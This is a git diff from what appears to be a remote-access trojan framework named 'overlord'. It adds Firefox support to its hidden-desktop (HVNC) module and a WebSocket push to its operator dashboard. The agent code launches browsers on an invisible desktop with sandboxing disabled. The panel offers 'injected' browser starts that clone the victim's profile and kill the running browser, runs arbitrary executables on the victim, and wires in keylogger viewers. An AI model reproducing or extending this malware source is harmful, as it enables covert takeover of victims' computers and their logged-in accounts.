Merge pull request #5 from Deusogu/main
feat: dashboard WebSocket push + page-routes refactor
This commit is contained in:
@@ -213,6 +213,15 @@ var browserInfoMap = map[string]browserInfo{
|
|||||||
},
|
},
|
||||||
userData: `Microsoft\Edge\User Data`,
|
userData: `Microsoft\Edge\User Data`,
|
||||||
},
|
},
|
||||||
|
"firefox": {
|
||||||
|
name: "Firefox",
|
||||||
|
exeName: "firefox.exe",
|
||||||
|
exePaths: []string{
|
||||||
|
`\Mozilla Firefox\firefox.exe`,
|
||||||
|
},
|
||||||
|
userData: `Mozilla\Firefox`,
|
||||||
|
useAppData: true,
|
||||||
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
func findBrowserExe(info browserInfo) string {
|
func findBrowserExe(info browserInfo) string {
|
||||||
@@ -709,8 +718,11 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName
|
|||||||
"brave.exe": true,
|
"brave.exe": true,
|
||||||
"msedge.exe": true,
|
"msedge.exe": true,
|
||||||
}
|
}
|
||||||
if browserExes[strings.ToLower(filepath.Base(filePath))] {
|
baseName := strings.ToLower(filepath.Base(filePath))
|
||||||
|
if browserExes[baseName] {
|
||||||
args += " --no-sandbox --allow-no-sandbox-job --disable-gpu --start-fullscreen"
|
args += " --no-sandbox --allow-no-sandbox-job --disable-gpu --start-fullscreen"
|
||||||
|
} else if baseName == "firefox.exe" {
|
||||||
|
args += " -no-remote -wait-for-browser"
|
||||||
}
|
}
|
||||||
cmdLine, err := syscall.UTF16FromString(filePath + args)
|
cmdLine, err := syscall.UTF16FromString(filePath + args)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -50,3 +50,7 @@ func HVNCInputKeyUp(vk uint16) error {
|
|||||||
func HVNCInputMouseWheel(delta int32) error {
|
func HVNCInputMouseWheel(delta int32) error {
|
||||||
return errors.New("HVNC not supported on this platform")
|
return errors.New("HVNC not supported on this platform")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func HVNCAutoStartExplorer() error {
|
||||||
|
return errors.New("HVNC not supported on this platform")
|
||||||
|
}
|
||||||
|
|||||||
@@ -173,7 +173,16 @@ var (
|
|||||||
|
|
||||||
// Capture cache: pooled DC/DIB per window to avoid per-frame allocation
|
// Capture cache: pooled DC/DIB per window to avoid per-frame allocation
|
||||||
hvncWinCache map[uintptr]*hvncWinCacheEntry
|
hvncWinCache map[uintptr]*hvncWinCacheEntry
|
||||||
hvncWinCachePrev []byte // previous composite frame for dirty detection
|
hvncWinCachePrev []byte
|
||||||
|
|
||||||
|
hvncCompHdcMem uintptr
|
||||||
|
hvncCompHbmp uintptr
|
||||||
|
hvncCompBits unsafe.Pointer
|
||||||
|
hvncCompW int
|
||||||
|
hvncCompH int
|
||||||
|
|
||||||
|
hvncPendingMouseMove *hvncTask
|
||||||
|
hvncPendingMoveMu sync.Mutex
|
||||||
)
|
)
|
||||||
|
|
||||||
type hvncTaskKind int
|
type hvncTaskKind int
|
||||||
@@ -355,6 +364,28 @@ func CleanupHVNCDesktop() {
|
|||||||
hvncWinCache = nil
|
hvncWinCache = nil
|
||||||
hvncWinCachePrev = nil
|
hvncWinCachePrev = nil
|
||||||
|
|
||||||
|
if hvncCompHbmp != 0 {
|
||||||
|
deleteObject(hvncCompHbmp)
|
||||||
|
hvncCompHbmp = 0
|
||||||
|
}
|
||||||
|
if hvncCompHdcMem != 0 {
|
||||||
|
deleteDC(hvncCompHdcMem)
|
||||||
|
hvncCompHdcMem = 0
|
||||||
|
}
|
||||||
|
hvncCompBits = nil
|
||||||
|
hvncCompW = 0
|
||||||
|
hvncCompH = 0
|
||||||
|
|
||||||
|
hvncInputMu.Lock()
|
||||||
|
hvncShiftDown = false
|
||||||
|
hvncCtrlDown = false
|
||||||
|
hvncAltDown = false
|
||||||
|
hvncCapsLock = false
|
||||||
|
hvncMouseButtons = 0
|
||||||
|
hvncHasCursor = false
|
||||||
|
hvncWorkingWindow = 0
|
||||||
|
hvncInputMu.Unlock()
|
||||||
|
|
||||||
if hvncDesktopHandle != 0 {
|
if hvncDesktopHandle != 0 {
|
||||||
if hvncOriginalDesktop != 0 {
|
if hvncOriginalDesktop != 0 {
|
||||||
procSetThreadDesktop.Call(hvncOriginalDesktop)
|
procSetThreadDesktop.Call(hvncOriginalDesktop)
|
||||||
@@ -817,19 +848,7 @@ func hvncAutoStartExplorerOnThread() error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
found := false
|
if isExplorerRunningToolhelp() {
|
||||||
hwnd := getTopWindow(0)
|
|
||||||
for hwnd != 0 {
|
|
||||||
var pid uint32
|
|
||||||
procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid)))
|
|
||||||
if pid != 0 && isExplorerPID(pid) {
|
|
||||||
found = true
|
|
||||||
break
|
|
||||||
}
|
|
||||||
hwnd = getWindow(hwnd, GW_HWNDNEXT)
|
|
||||||
}
|
|
||||||
|
|
||||||
if found {
|
|
||||||
log.Printf("hvnc: explorer.exe already running on HVNC desktop, skipping auto-start")
|
log.Printf("hvnc: explorer.exe already running on HVNC desktop, skipping auto-start")
|
||||||
hvncExplorerStarted = true
|
hvncExplorerStarted = true
|
||||||
return nil
|
return nil
|
||||||
@@ -866,6 +885,41 @@ func isExplorerPID(pid uint32) bool {
|
|||||||
return strings.HasSuffix(name, `\explorer.exe`)
|
return strings.HasSuffix(name, `\explorer.exe`)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func isExplorerRunningToolhelp() bool {
|
||||||
|
const TH32CS_SNAPPROCESS = 0x00000002
|
||||||
|
snap, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(TH32CS_SNAPPROCESS, 0)
|
||||||
|
if snap == 0 || snap == ^uintptr(0) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
defer procCloseHandle.Call(snap)
|
||||||
|
|
||||||
|
type processEntry32 struct {
|
||||||
|
dwSize uint32
|
||||||
|
cntUsage uint32
|
||||||
|
th32ProcessID uint32
|
||||||
|
th32DefaultHeapID uintptr
|
||||||
|
th32ModuleID uint32
|
||||||
|
cntThreads uint32
|
||||||
|
th32ParentProcessID uint32
|
||||||
|
pcPriClassBase int32
|
||||||
|
dwFlags uint32
|
||||||
|
szExeFile [260]uint16
|
||||||
|
}
|
||||||
|
|
||||||
|
var pe processEntry32
|
||||||
|
pe.dwSize = uint32(unsafe.Sizeof(pe))
|
||||||
|
ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snap, uintptr(unsafe.Pointer(&pe)))
|
||||||
|
for ret != 0 {
|
||||||
|
name := strings.ToLower(syscall.UTF16ToString(pe.szExeFile[:]))
|
||||||
|
if name == "explorer.exe" {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
pe.dwSize = uint32(unsafe.Sizeof(pe))
|
||||||
|
ret, _, _ = kernel32.NewProc("Process32NextW").Call(snap, uintptr(unsafe.Pointer(&pe)))
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
func hvncMouseMoveOnThread(display int, x, y int32) error {
|
func hvncMouseMoveOnThread(display int, x, y int32) error {
|
||||||
bounds, _ := hvncResolveCaptureBounds(display)
|
bounds, _ := hvncResolveCaptureBounds(display)
|
||||||
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
|
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
|
||||||
|
|||||||
@@ -2,9 +2,13 @@ import { state } from "./state.js";
|
|||||||
import { digestData } from "./utils.js";
|
import { digestData } from "./utils.js";
|
||||||
|
|
||||||
const POLL_INTERVAL_MS = 5000;
|
const POLL_INTERVAL_MS = 5000;
|
||||||
|
const FALLBACK_POLL_MS = 30000;
|
||||||
const PREF_REFRESH_KEY = "overlord_refresh_interval_seconds";
|
const PREF_REFRESH_KEY = "overlord_refresh_interval_seconds";
|
||||||
let pollTimer = null;
|
let pollTimer = null;
|
||||||
let render = () => {};
|
let render = () => {};
|
||||||
|
let dashboardWs = null;
|
||||||
|
let dashboardWsConnected = false;
|
||||||
|
let wsReconnectTimer = null;
|
||||||
|
|
||||||
export function registerRenderer(fn) {
|
export function registerRenderer(fn) {
|
||||||
render = fn;
|
render = fn;
|
||||||
@@ -100,8 +104,68 @@ function getConfiguredPollIntervalMs(defaultMs) {
|
|||||||
return boundedSeconds * 1000;
|
return boundedSeconds * 1000;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function connectDashboardWs() {
|
||||||
|
if (dashboardWs) return;
|
||||||
|
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
|
||||||
|
const wsUrl = `${protocol}//${window.location.host}/api/dashboard/ws`;
|
||||||
|
try {
|
||||||
|
dashboardWs = new WebSocket(wsUrl);
|
||||||
|
} catch {
|
||||||
|
scheduleDashboardReconnect();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
dashboardWs.onopen = () => {
|
||||||
|
console.log("[dashboard] ws connected");
|
||||||
|
dashboardWsConnected = true;
|
||||||
|
adjustPollingForWs();
|
||||||
|
};
|
||||||
|
|
||||||
|
dashboardWs.onmessage = (event) => {
|
||||||
|
try {
|
||||||
|
const msg = typeof event.data === "string" ? JSON.parse(event.data) : null;
|
||||||
|
if (msg && msg.type === "clients_changed") {
|
||||||
|
loadWithOptions({ force: false });
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
};
|
||||||
|
|
||||||
|
dashboardWs.onclose = () => {
|
||||||
|
console.warn("[dashboard] ws closed");
|
||||||
|
dashboardWs = null;
|
||||||
|
dashboardWsConnected = false;
|
||||||
|
adjustPollingForWs();
|
||||||
|
scheduleDashboardReconnect();
|
||||||
|
};
|
||||||
|
|
||||||
|
dashboardWs.onerror = () => {
|
||||||
|
console.warn("[dashboard] ws error");
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
function scheduleDashboardReconnect() {
|
||||||
|
if (wsReconnectTimer) return;
|
||||||
|
wsReconnectTimer = setTimeout(() => {
|
||||||
|
wsReconnectTimer = null;
|
||||||
|
connectDashboardWs();
|
||||||
|
}, 3000);
|
||||||
|
}
|
||||||
|
|
||||||
|
function adjustPollingForWs() {
|
||||||
|
clearInterval(pollTimer);
|
||||||
|
const interval = dashboardWsConnected
|
||||||
|
? FALLBACK_POLL_MS
|
||||||
|
: getConfiguredPollIntervalMs(POLL_INTERVAL_MS);
|
||||||
|
pollTimer = setInterval(() => {
|
||||||
|
loadWithOptions({ force: false });
|
||||||
|
}, interval);
|
||||||
|
}
|
||||||
|
|
||||||
export function startAutoRefresh(intervalMs = POLL_INTERVAL_MS) {
|
export function startAutoRefresh(intervalMs = POLL_INTERVAL_MS) {
|
||||||
const effectiveInterval = getConfiguredPollIntervalMs(intervalMs);
|
connectDashboardWs();
|
||||||
|
const effectiveInterval = dashboardWsConnected
|
||||||
|
? FALLBACK_POLL_MS
|
||||||
|
: getConfiguredPollIntervalMs(intervalMs);
|
||||||
clearInterval(pollTimer);
|
clearInterval(pollTimer);
|
||||||
pollTimer = setInterval(() => {
|
pollTimer = setInterval(() => {
|
||||||
loadWithOptions({ force: false });
|
loadWithOptions({ force: false });
|
||||||
|
|||||||
@@ -9,13 +9,42 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
const clientLabel = document.getElementById("clientLabel");
|
const clientLabel = document.getElementById("clientLabel");
|
||||||
clientLabel.textContent = clientId;
|
clientLabel.textContent = clientId;
|
||||||
|
|
||||||
const ws = new WebSocket(
|
let ws = null;
|
||||||
(location.protocol === "https:" ? "wss://" : "ws://") +
|
let reconnectTimer = null;
|
||||||
|
let reconnectDelay = 1000;
|
||||||
|
const maxReconnectDelay = 15000;
|
||||||
|
|
||||||
|
function buildWsUrl() {
|
||||||
|
return (location.protocol === "https:" ? "wss://" : "ws://") +
|
||||||
location.host +
|
location.host +
|
||||||
"/api/clients/" +
|
"/api/clients/" +
|
||||||
clientId +
|
clientId +
|
||||||
"/hvnc/ws",
|
"/hvnc/ws";
|
||||||
);
|
}
|
||||||
|
|
||||||
|
function connectWs() {
|
||||||
|
if (reconnectTimer) { clearTimeout(reconnectTimer); reconnectTimer = null; }
|
||||||
|
ws = new WebSocket(buildWsUrl());
|
||||||
|
ws.binaryType = "arraybuffer";
|
||||||
|
ws.addEventListener("open", onWsOpen);
|
||||||
|
ws.addEventListener("message", onWsMessage);
|
||||||
|
ws.addEventListener("close", onWsClose);
|
||||||
|
ws.addEventListener("error", onWsError);
|
||||||
|
}
|
||||||
|
|
||||||
|
function scheduleReconnect() {
|
||||||
|
if (reconnectTimer) return;
|
||||||
|
reconnectTimer = setTimeout(() => {
|
||||||
|
reconnectTimer = null;
|
||||||
|
setStreamState("connecting", "Reconnecting");
|
||||||
|
connectWs();
|
||||||
|
reconnectDelay = Math.min(reconnectDelay * 1.5, maxReconnectDelay);
|
||||||
|
}, reconnectDelay);
|
||||||
|
}
|
||||||
|
const latencyEl = document.getElementById("latencyDisplay");
|
||||||
|
let lastInputSentAt = 0;
|
||||||
|
let lastLatencyMs = 0;
|
||||||
|
|
||||||
const displaySelect = document.getElementById("displaySelect");
|
const displaySelect = document.getElementById("displaySelect");
|
||||||
const refreshBtn = document.getElementById("refreshDisplays");
|
const refreshBtn = document.getElementById("refreshDisplays");
|
||||||
const startBtn = document.getElementById("startBtn");
|
const startBtn = document.getElementById("startBtn");
|
||||||
@@ -37,8 +66,6 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
const agentFps = document.getElementById("agentFps");
|
const agentFps = document.getElementById("agentFps");
|
||||||
const viewerFps = document.getElementById("viewerFps");
|
const viewerFps = document.getElementById("viewerFps");
|
||||||
const statusEl = document.getElementById("streamStatus");
|
const statusEl = document.getElementById("streamStatus");
|
||||||
ws.binaryType = "arraybuffer";
|
|
||||||
|
|
||||||
let activeClientId = clientId;
|
let activeClientId = clientId;
|
||||||
let renderCount = 0;
|
let renderCount = 0;
|
||||||
let renderWindowStart = performance.now();
|
let renderWindowStart = performance.now();
|
||||||
@@ -56,6 +83,8 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
let lastMoveSentAt = 0;
|
let lastMoveSentAt = 0;
|
||||||
const mouseMoveIntervalMs = 33;
|
const mouseMoveIntervalMs = 33;
|
||||||
const inputBackpressureBytes = 256 * 1024;
|
const inputBackpressureBytes = 256 * 1024;
|
||||||
|
let h264ErrorCount = 0;
|
||||||
|
let h264RetryTimer = null;
|
||||||
|
|
||||||
const storedCodecPref = localStorage.getItem(codecPrefKey);
|
const storedCodecPref = localStorage.getItem(codecPrefKey);
|
||||||
if (storedCodecPref === "0") {
|
if (storedCodecPref === "0") {
|
||||||
@@ -147,7 +176,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
}
|
}
|
||||||
|
|
||||||
function updateControls() {
|
function updateControls() {
|
||||||
const wsOpen = ws.readyState === WebSocket.OPEN;
|
const wsOpen = ws && ws.readyState === WebSocket.OPEN;
|
||||||
const isStarting = streamState === "starting";
|
const isStarting = streamState === "starting";
|
||||||
const isStreaming = streamState === "streaming";
|
const isStreaming = streamState === "streaming";
|
||||||
const isStopping = streamState === "stopping";
|
const isStopping = streamState === "stopping";
|
||||||
@@ -259,7 +288,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
console.warn("No active client selected");
|
console.warn("No active client selected");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (ws.readyState !== WebSocket.OPEN) {
|
if (!ws || ws.readyState !== WebSocket.OPEN) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
const msg = { type, ...payload };
|
const msg = { type, ...payload };
|
||||||
@@ -342,16 +371,30 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
|
|
||||||
function fallbackToJpegCodec(reason) {
|
function fallbackToJpegCodec(reason) {
|
||||||
if (!prefersH264) return;
|
if (!prefersH264) return;
|
||||||
|
h264ErrorCount++;
|
||||||
prefersH264 = false;
|
prefersH264 = false;
|
||||||
destroyVideoDecoder();
|
destroyVideoDecoder();
|
||||||
if (codecH264) codecH264.checked = false;
|
if (codecH264) codecH264.checked = false;
|
||||||
localStorage.setItem(codecPrefKey, "0");
|
console.warn("hvnc: falling back to jpeg codec", reason || "", "errors:", h264ErrorCount);
|
||||||
console.warn("hvnc: falling back to jpeg codec", reason || "");
|
|
||||||
const q = Number(qualitySlider?.value) || 90;
|
const q = Number(qualitySlider?.value) || 90;
|
||||||
setCodecModeLabel("jpeg", "fallback");
|
setCodecModeLabel("jpeg", "fallback");
|
||||||
if (ws.readyState === WebSocket.OPEN) {
|
if (ws && ws.readyState === WebSocket.OPEN) {
|
||||||
sendCmd("hvnc_set_quality", { quality: q, codec: "jpeg" });
|
sendCmd("hvnc_set_quality", { quality: q, codec: "jpeg" });
|
||||||
}
|
}
|
||||||
|
if (h264ErrorCount <= 3 && typeof VideoDecoder === "function") {
|
||||||
|
if (h264RetryTimer) clearTimeout(h264RetryTimer);
|
||||||
|
h264RetryTimer = setTimeout(() => {
|
||||||
|
h264RetryTimer = null;
|
||||||
|
prefersH264 = true;
|
||||||
|
if (codecH264) codecH264.checked = true;
|
||||||
|
setCodecModeLabel("h264", "retry");
|
||||||
|
if (ws && ws.readyState === WebSocket.OPEN) {
|
||||||
|
pushQuality(qualitySlider?.value || 90);
|
||||||
|
}
|
||||||
|
}, 5000);
|
||||||
|
} else if (h264ErrorCount > 3) {
|
||||||
|
localStorage.setItem(codecPrefKey, "0");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function isH264KeyFrame(data) {
|
function isH264KeyFrame(data) {
|
||||||
@@ -465,7 +508,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
ws.addEventListener("message", async function (ev) {
|
async function onWsMessage(ev) {
|
||||||
if (ev.data instanceof ArrayBuffer) {
|
if (ev.data instanceof ArrayBuffer) {
|
||||||
const buf = new Uint8Array(ev.data);
|
const buf = new Uint8Array(ev.data);
|
||||||
if (buf.length >= 8 && buf[0] === 0x46 && buf[1] === 0x52 && buf[2] === 0x4d) {
|
if (buf.length >= 8 && buf[0] === 0x46 && buf[1] === 0x52 && buf[2] === 0x4d) {
|
||||||
@@ -596,6 +639,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
handleCloneProgress(msg);
|
handleCloneProgress(msg);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (msg && msg.type === "hvnc_error") {
|
||||||
|
console.error("hvnc: server error:", msg.error || msg.message);
|
||||||
|
return;
|
||||||
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -608,34 +655,48 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
handleCloneProgress(msg);
|
handleCloneProgress(msg);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
});
|
if (msg && msg.type === "hvnc_error") {
|
||||||
|
console.error("hvnc: server error:", msg.error || msg.message);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
ws.addEventListener("open", function () {
|
function onWsOpen() {
|
||||||
|
reconnectDelay = 1000;
|
||||||
if (qualitySlider) {
|
if (qualitySlider) {
|
||||||
pushQuality(qualitySlider.value);
|
pushQuality(qualitySlider.value);
|
||||||
}
|
}
|
||||||
clearOfflineTimer();
|
clearOfflineTimer();
|
||||||
setStreamState("idle", "Stopped");
|
if (desiredStreaming) {
|
||||||
|
setStreamState("starting", "Resuming stream");
|
||||||
|
if (displaySelect && displaySelect.value !== undefined) {
|
||||||
|
sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) || 0 });
|
||||||
|
}
|
||||||
|
sendCmd("hvnc_start", { autoStartExplorer: false });
|
||||||
|
} else {
|
||||||
|
setStreamState("idle", "Stopped");
|
||||||
|
}
|
||||||
fetchClientInfo().then(() => {
|
fetchClientInfo().then(() => {
|
||||||
if (displaySelect && displaySelect.value) {
|
if (displaySelect && displaySelect.value) {
|
||||||
console.debug("hvnc: initial select display", displaySelect.value);
|
sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) });
|
||||||
sendCmd("hvnc_select_display", {
|
|
||||||
display: parseInt(displaySelect.value, 10),
|
|
||||||
});
|
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
});
|
}
|
||||||
|
|
||||||
ws.addEventListener("close", function () {
|
function onWsClose() {
|
||||||
desiredStreaming = false;
|
|
||||||
destroyVideoDecoder();
|
destroyVideoDecoder();
|
||||||
setStreamState("disconnected", "Disconnected");
|
if (desiredStreaming) {
|
||||||
});
|
setStreamState("connecting", "Reconnecting");
|
||||||
|
scheduleReconnect();
|
||||||
|
} else {
|
||||||
|
setStreamState("disconnected", "Disconnected");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
ws.addEventListener("error", function () {
|
function onWsError() {
|
||||||
destroyVideoDecoder();
|
destroyVideoDecoder();
|
||||||
setStreamState("error", "WebSocket error");
|
setStreamState("error", "WebSocket error");
|
||||||
});
|
}
|
||||||
|
|
||||||
if (!frameWatchTimer) {
|
if (!frameWatchTimer) {
|
||||||
frameWatchTimer = setInterval(() => {
|
frameWatchTimer = setInterval(() => {
|
||||||
@@ -754,7 +815,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
});
|
});
|
||||||
|
|
||||||
function stopOnExit() {
|
function stopOnExit() {
|
||||||
if (ws.readyState === WebSocket.OPEN && desiredStreaming) {
|
if (ws && ws.readyState === WebSocket.OPEN && desiredStreaming) {
|
||||||
desiredStreaming = false;
|
desiredStreaming = false;
|
||||||
sendCmd("hvnc_stop", {});
|
sendCmd("hvnc_stop", {});
|
||||||
}
|
}
|
||||||
@@ -818,20 +879,68 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||||
sendCmd("hvnc_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning });
|
sendCmd("hvnc_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning });
|
||||||
|
} else if (action === "start-firefox") {
|
||||||
|
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||||
|
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||||
|
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||||
|
sendCmd("hvnc_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning });
|
||||||
} else if (action === "start-custom") {
|
} else if (action === "start-custom") {
|
||||||
const exePath = prompt("Enter exe path (required)");
|
hideContextMenu();
|
||||||
if (!exePath) {
|
showCustomExeModal();
|
||||||
hideContextMenu();
|
return;
|
||||||
return;
|
|
||||||
}
|
|
||||||
const args = prompt("Enter arguments (optional)") || "";
|
|
||||||
const cmd = args.trim() ? `\"${exePath}\" ${args}` : `\"${exePath}\"`;
|
|
||||||
sendCmd("hvnc_start_process", { path: cmd });
|
|
||||||
}
|
}
|
||||||
hideContextMenu();
|
hideContextMenu();
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function showCustomExeModal() {
|
||||||
|
let overlay = document.getElementById("hvncCustomExeOverlay");
|
||||||
|
if (overlay) { overlay.remove(); }
|
||||||
|
overlay = document.createElement("div");
|
||||||
|
overlay.id = "hvncCustomExeOverlay";
|
||||||
|
overlay.className = "fixed inset-0 z-[100] flex items-center justify-center bg-black/60";
|
||||||
|
overlay.innerHTML = `
|
||||||
|
<div class="bg-slate-900 border border-slate-700 rounded-xl p-5 w-96 shadow-2xl">
|
||||||
|
<div class="text-sm font-semibold text-slate-100 mb-3">Run Custom Executable</div>
|
||||||
|
<label class="block text-xs text-slate-400 mb-1">Exe path</label>
|
||||||
|
<input id="hvncCustomExePath" type="text" placeholder="C:\\path\\to\\app.exe"
|
||||||
|
class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-3 focus:outline-none focus:border-violet-500" />
|
||||||
|
<label class="block text-xs text-slate-400 mb-1">Arguments (optional)</label>
|
||||||
|
<input id="hvncCustomExeArgs" type="text" placeholder="--flag value"
|
||||||
|
class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-4 focus:outline-none focus:border-violet-500" />
|
||||||
|
<div class="flex justify-end gap-2">
|
||||||
|
<button id="hvncCustomExeCancel" class="button ghost text-sm">Cancel</button>
|
||||||
|
<button id="hvncCustomExeRun" class="button primary text-sm">Run</button>
|
||||||
|
</div>
|
||||||
|
</div>`;
|
||||||
|
document.body.appendChild(overlay);
|
||||||
|
const pathInput = document.getElementById("hvncCustomExePath");
|
||||||
|
const argsInput = document.getElementById("hvncCustomExeArgs");
|
||||||
|
pathInput.focus();
|
||||||
|
function close() { overlay.remove(); }
|
||||||
|
document.getElementById("hvncCustomExeCancel").addEventListener("click", close);
|
||||||
|
overlay.addEventListener("click", (e) => { if (e.target === overlay) close(); });
|
||||||
|
function run() {
|
||||||
|
const exePath = pathInput.value.trim();
|
||||||
|
if (!exePath) return;
|
||||||
|
const args = argsInput.value.trim();
|
||||||
|
const cmd = args ? `"${exePath}" ${args}` : `"${exePath}"`;
|
||||||
|
sendCmd("hvnc_start_process", { path: cmd });
|
||||||
|
close();
|
||||||
|
}
|
||||||
|
document.getElementById("hvncCustomExeRun").addEventListener("click", run);
|
||||||
|
pathInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); argsInput.focus(); } });
|
||||||
|
argsInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); run(); } });
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateLatencyDisplay(ms) {
|
||||||
|
lastLatencyMs = ms;
|
||||||
|
if (latencyEl) {
|
||||||
|
latencyEl.textContent = `${Math.round(ms)}ms`;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
connectWs();
|
||||||
fetchClientInfo();
|
fetchClientInfo();
|
||||||
})();
|
})();
|
||||||
|
|||||||
@@ -114,6 +114,9 @@
|
|||||||
<span id="viewerFps" class="pill pill-ghost font-mono text-sky-200"
|
<span id="viewerFps" class="pill pill-ghost font-mono text-sky-200"
|
||||||
>--</span
|
>--</span
|
||||||
>
|
>
|
||||||
|
<span class="text-slate-600">|</span>
|
||||||
|
<span class="uppercase tracking-wide text-xs text-slate-500">lat</span>
|
||||||
|
<span id="latencyDisplay" class="pill pill-ghost font-mono text-amber-200">--</span>
|
||||||
</div>
|
</div>
|
||||||
<div
|
<div
|
||||||
class="flex items-center gap-4 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2"
|
class="flex items-center gap-4 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2"
|
||||||
@@ -211,6 +214,13 @@
|
|||||||
>
|
>
|
||||||
<i class="fa-brands fa-edge mr-2 text-sky-300"></i>Start Edge
|
<i class="fa-brands fa-edge mr-2 text-sky-300"></i>Start Edge
|
||||||
</button>
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
|
||||||
|
data-action="start-firefox"
|
||||||
|
>
|
||||||
|
<i class="fa-brands fa-firefox mr-2 text-orange-300"></i>Start Firefox
|
||||||
|
</button>
|
||||||
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Custom</div>
|
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Custom</div>
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
|
|||||||
@@ -416,6 +416,17 @@ async function startServer() {
|
|||||||
handleProcessViewerOpen,
|
handleProcessViewerOpen,
|
||||||
handleKeyloggerViewerOpen,
|
handleKeyloggerViewerOpen,
|
||||||
handleVoiceViewerOpen,
|
handleVoiceViewerOpen,
|
||||||
|
handleDashboardViewerOpen: (ws: import("bun").ServerWebSocket<SocketData>) => {
|
||||||
|
const id = crypto.randomUUID();
|
||||||
|
ws.data.sessionId = id;
|
||||||
|
sessionManager.addDashboardSession({
|
||||||
|
id,
|
||||||
|
viewer: ws,
|
||||||
|
createdAt: Date.now(),
|
||||||
|
userId: ws.data.userId,
|
||||||
|
userRole: ws.data.userRole,
|
||||||
|
});
|
||||||
|
},
|
||||||
handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen,
|
handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen,
|
||||||
handleConsoleViewerMessage,
|
handleConsoleViewerMessage,
|
||||||
handleRemoteDesktopViewerMessage,
|
handleRemoteDesktopViewerMessage,
|
||||||
@@ -456,6 +467,7 @@ async function startServer() {
|
|||||||
clearPendingNotificationScreenshots: notificationPluginHandlers.clearPendingNotificationScreenshots,
|
clearPendingNotificationScreenshots: notificationPluginHandlers.clearPendingNotificationScreenshots,
|
||||||
notifyRemoteDesktopStatus,
|
notifyRemoteDesktopStatus,
|
||||||
handleBuildTagConnection,
|
handleBuildTagConnection,
|
||||||
|
notifyDashboard: sessionManager.notifyDashboardViewers,
|
||||||
};
|
};
|
||||||
|
|
||||||
